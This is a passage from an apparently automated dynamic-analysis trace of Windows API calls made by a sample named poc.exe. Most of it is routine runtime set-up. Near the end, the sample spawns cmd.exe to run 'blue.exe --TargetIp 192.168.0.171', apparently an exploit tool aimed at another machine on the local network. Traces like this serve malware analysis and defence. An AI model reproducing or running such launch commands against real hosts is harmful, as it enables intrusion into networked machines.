hFile=0x0, dwFlags=0x800) returned 0x0 [0093.484] GetLastError () returned 0x57 [0093.484] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringEx") returned 0x76ea47f1 [0093.484] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ덵@Ā", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0093.484] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ덵@Ā", cchSrc=256, lpDestStr=0x28f2c8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0093.484] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchWideChar=256, lpMultiByteStr=0x28fc9c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ¿¡\x14úØþ(", lpUsedDefaultChar=0x0) returned 256 [0093.484] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x28fd9c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0093.484] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x28fd9c, cbMultiByte=256, lpWideCharStr=0x28f4f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0093.484] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0093.484] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x28f2e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ") returned 256 [0093.484] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ", cchWideChar=256, lpMultiByteStr=0x28fb9c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ¿¡\x14úØþ(", lpUsedDefaultChar=0x0) returned 256 [0093.484] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x0, Size=0x80) returned 0x75ca68 [0093.485] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x28fce4, nSize=0x105 | out: lpFilename="C:\\ProgramData\\poc.exe" (normalized: "c:\\programdata\\poc.exe")) returned 0x16 [0093.485] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x3a) returned 0x756c88 [0093.485] RtlInitializeSListHead (in: ListHead=0x417b18 | out: ListHead=0x417b18) [0093.485] GetLastError () returned 0x0 [0093.485] SetLastError (dwErrCode=0x0) [0093.485] GetEnvironmentStringsW () returned 0x7705c0* [0093.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=C:=C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", cchWideChar=1435, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1435 [0093.485] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x0, Size=0x59b) returned 0x771100 [0093.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=C:=C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", cchWideChar=1435, lpMultiByteStr=0x771100, cbMultiByte=1435, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="=C:=C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpUsedDefaultChar=0x0) returned 1435 [0093.485] FreeEnvironmentStringsW (penv=0x7705c0) returned 1 [0093.485] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x9c) returned 0x75bde8 [0093.485] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x1f) returned 0x770210 [0093.485] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x36) returned 0x765660 [0093.485] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x37) returned 0x7656a0 [0093.485] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x3c) returned 0x756d18 [0093.485] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x31) returned 0x7656e0 [0093.485] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x17) returned 0x761a60 [0093.485] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x24) returned 0x75af60 [0093.485] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x14) returned 0x761a80 [0093.485] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0xd) returned 0x753240 [0093.485] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x25) returned 0x75af90 [0093.485] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x39) returned 0x756df0 [0093.485] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x18) returned 0x761aa0 [0093.485] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x17) returned 0x761ac0 [0093.485] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0xe) returned 0x753318 [0093.485] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x69) returned 0x769388 [0093.485] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x3e) returned 0x756ec8 [0093.486] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x1b) returned 0x770238 [0093.486] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x1d) returned 0x770260 [0093.486] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x48) returned 0x75c660 [0093.486] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x12) returned 0x761ae0 [0093.486] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x18) returned 0x761b00 [0093.486] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x1b) returned 0x770288 [0093.486] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x24) returned 0x75afc0 [0093.486] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x29) returned 0x757c70 [0093.486] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x1e) returned 0x7702b0 [0093.486] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0xc) returned 0x753360 [0093.486] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x41) returned 0x7596e8 [0093.486] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x17) returned 0x761b20 [0093.486] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0xf) returned 0x753348 [0093.486] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x16) returned 0x761b40 [0093.486] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x2a) returned 0x7581e8 [0093.486] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x29) returned 0x757ff0 [0093.486] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x15) returned 0x761b60 [0093.486] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x1e) returned 0x7702d8 [0093.486] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x2a) returned 0x758178 [0093.486] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x12) returned 0x761b80 [0093.486] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x18) returned 0x761ba0 [0093.486] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x46) returned 0x758e00 [0093.486] HeapFree (in: hHeap=0x740000, dwFlags=0x0, lpMem=0x771100 | out: hHeap=0x740000) returned 1 [0093.486] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x800) returned 0x7705c0 [0093.486] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0093.486] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4019a8) returned 0x0 [0093.486] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x1c) returned 0x770378 [0093.486] GetLastError () returned 0x0 [0093.486] SetLastError (dwErrCode=0x0) [0093.487] GetLastError () returned 0x0 [0093.487] SetLastError (dwErrCode=0x0) [0093.487] GetProcAddress (hModule=0x76e10000, lpProcName="AreFileApisANSI") returned 0x76ea40d1 [0093.487] AreFileApisANSI () returned 1 [0093.487] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x770378, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 28 [0093.487] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x0, Size=0x38) returned 0x765720 [0093.487] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x770378, cbMultiByte=-1, lpWideCharStr=0x765720, cchWideChar=28 | out: lpWideCharStr="C:\\Windows\\system32\\cmd.exe") returned 28 [0093.487] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x28fa90 | out: lpFileInformation=0x28fa90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1 [0093.487] CharLowerBuffW (in: lpsz="C:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0093.487] SysReAllocStringLen (in: pbstr=0x28f9b0*="C:", psz="c:", len=0x2 | out: pbstr=0x28f9b0*="c:") returned 1 [0093.487] SysReAllocStringLen (in: pbstr=0x28f998*=0x0, psz="\\device\\harddiskvolume1", len=0x17 | out: pbstr=0x28f998*="\\device\\harddiskvolume1") returned 1 [0093.488] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\Windows\\system32\\cmd.exe", cchLength=0x30 | out: lpsz="\\device\\harddiskvolume1\\windows\\system32\\cmd.exe") returned 0x30 [0093.488] SysReAllocStringLen (in: pbstr=0x28f9e8*="\\device\\harddiskvolume1\\Windows\\system32\\cmd.exe", psz="\\device\\harddiskvolume1\\windows\\system32\\cmd.exe", len=0x30 | out: pbstr=0x28f9e8*="\\device\\harddiskvolume1\\windows\\system32\\cmd.exe") returned 1 [0093.488] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\windows\\system32\\cmd.exe", cchLength=0x30 | out: lpsz="\\device\\harddiskvolume1\\windows\\system32\\cmd.exe") returned 0x30 [0093.488] SysReAllocStringLen (in: pbstr=0x47416c*=0x0, psz="\\device\\harddiskvolume1\\windows\\system32\\cmd.exe", len=0x30 | out: pbstr=0x47416c*="\\device\\harddiskvolume1\\windows\\system32\\cmd.exe") returned 1 [0093.488] SysReAllocStringLen (in: pbstr=0x474190*=0x0, psz="device", len=0x6 | out: pbstr=0x474190*="device") returned 1 [0093.488] SysReAllocStringLen (in: pbstr=0x4741b0*=0x0, psz="harddiskvolume1", len=0xf | out: pbstr=0x4741b0*="harddiskvolume1") returned 1 [0093.489] SysReAllocStringLen (in: pbstr=0x4741bc*=0x0, psz="windows", len=0x7 | out: pbstr=0x4741bc*="windows") returned 1 [0093.489] SysReAllocStringLen (in: pbstr=0x4741c8*=0x0, psz="system32", len=0x8 | out: pbstr=0x4741c8*="system32") returned 1 [0093.489] SysReAllocStringLen (in: pbstr=0x4741d4*=0x0, psz="cmd.exe", len=0x7 | out: pbstr=0x4741d4*="cmd.exe") returned 1 [0093.489] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="device", cchWideChar=6, lpMultiByteStr=0x28e93c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device", lpUsedDefaultChar=0x0) returned 6 [0093.489] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="harddiskvolume1", cchWideChar=15, lpMultiByteStr=0x28e93c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="harddiskvolume1", lpUsedDefaultChar=0x0) returned 15 [0093.489] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x28e93c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windowskvolume1", lpUsedDefaultChar=0x0) returned 7 [0093.489] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="system32", cchWideChar=8, lpMultiByteStr=0x28e93c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system32volume1", lpUsedDefaultChar=0x0) returned 8 [0093.489] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="cmd.exe", cchWideChar=7, lpMultiByteStr=0x28e93c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cmd.exe2volume1", lpUsedDefaultChar=0x0) returned 7 [0093.490] GetCurrentThreadId () returned 0x24c [0093.490] GetCurrentThreadId () returned 0x24c [0093.490] GetCurrentThreadId () returned 0x24c [0093.490] GetCurrentThreadId () returned 0x24c [0093.490] GetCurrentThreadId () returned 0x24c [0093.490] WaitForSingleObject (hHandle=0xd0, dwMilliseconds=0xffffffff) returned 0x0 [0093.490] GetCurrentThreadId () returned 0x24c [0093.490] GetCurrentThreadId () returned 0x24c [0093.490] GetCurrentThreadId () returned 0x24c [0093.490] SetEvent (hEvent=0xd4) returned 1 [0093.491] HeapFree (in: hHeap=0x740000, dwFlags=0x0, lpMem=0x765720 | out: hHeap=0x740000) returned 1 [0093.491] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x56) returned 0x75be90 [0093.491] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x8, Size=0x144) returned 0x75c128 [0093.491] GetLastError () returned 0x0 [0093.491] SetLastError (dwErrCode=0x0) [0093.491] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x0, Size=0x38) returned 0x765720 [0093.491] RtlAllocateHeap (HeapHandle=0x740000, Flags=0x0, Size=0xac) returned 0x75bef0 [0093.491] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="C:\\Windows\\system32\\cmd.exe /c cd /D C:\\ProgramData&blue.exe --TargetIp 192.168.0.171", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x28fa70*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x144, lpReserved2=0x75c128, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x28fab4 | out: lpCommandLine="C:\\Windows\\system32\\cmd.exe /c cd /D C:\\ProgramData&blue.exe --TargetIp 192.168.0.171", lpProcessInformation=0x28fab4*(hProcess=0x1b0, hThread=0x1ac, dwProcessId=0x1064, dwThreadId=0x1068)) returned 1 [0093.492] CharLowerBuffW (in: lpsz="\\??\\C:\\Windows\\system32\\cmd.exe", cchLength=0x1f | out: lpsz="\\??\\c:\\windows\\system32\\cmd.exe") returned 0x1f [0093.492] SysReAllocStringLen (in: pbstr=0x47416c*=0x0, psz="\\??\\c:\\windows\\system32\\cmd.exe", len=0x1f | out: pbstr=0x47416c*="\\??\\c:\\windows\\system32\\cmd.exe") returned 1 [0093.492] SysReAllocStringLen (in: pbstr=0x474170*=0x0, psz="c:", len=0x2 | out: pbstr=0x474170*="c:") returned 1 [0093.492] SysReAllocStringLen (in: pbstr=0x474190*=0x0, psz="windows", len=0x7 | out: pbstr=0x474190*="windows") returned 1 [0093.492] SysReAllocStringLen (in: pbstr=0x4741b0*=0x0, psz="system32", len=0x8 | out: pbstr=0x4741b0*="system32") returned 1 [0093.492] SysReAllocStringLen (in: pbstr=0x4741bc*=0x0, psz="cmd.exe", len=0x7 | out: pbstr=0x4741bc*="cmd.exe") returned 1 [0093.492] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x28dfd0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows", lpUsedDefaultChar=0x0) returned 7 [0093.492] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="system32", cchWideChar=8, lpMultiByteStr=0x28dfd0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system32", lpUsedDefaultChar=0x0) returned 8 [0093.493] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="cmd.exe", cchWideChar=7, lpMultiByteStr=0x28dfd0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cmd.exe2", lpUsedDefaultChar=0x0) returned 7 [0093.493] SysReAllocStringLen (in: pbstr=0x28f2a4*="\\??\\C:\\Windows\\system32\\cmd.exe", psz="c:\\windows\\system32\\cmd.exe", len=0x1b | out: pbstr=0x28f2a4*="c:\\windows\\system32\\cmd.exe") returned 1 [0093.493] SysReAllocStringLen (in: pbstr=0x28f04c*=0x0, psz="c:\\windows\\system32\\cmd.exe", 